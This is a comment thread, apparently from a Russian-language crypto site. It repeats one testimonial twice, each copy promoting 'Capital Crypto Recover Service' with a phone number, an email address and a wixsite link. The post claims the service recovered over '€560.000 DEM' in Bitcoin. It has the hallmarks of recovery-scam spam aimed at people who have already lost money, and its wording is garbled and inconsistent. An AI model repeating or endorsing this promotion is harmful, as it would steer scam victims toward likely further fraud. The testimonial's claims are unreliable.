    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

Для участия в Чате вам необходим бесплатный аккаунт pro-blockchain.com Войти Регистрация
Есть вопросы?
С вами на связи 24/7
Help Icon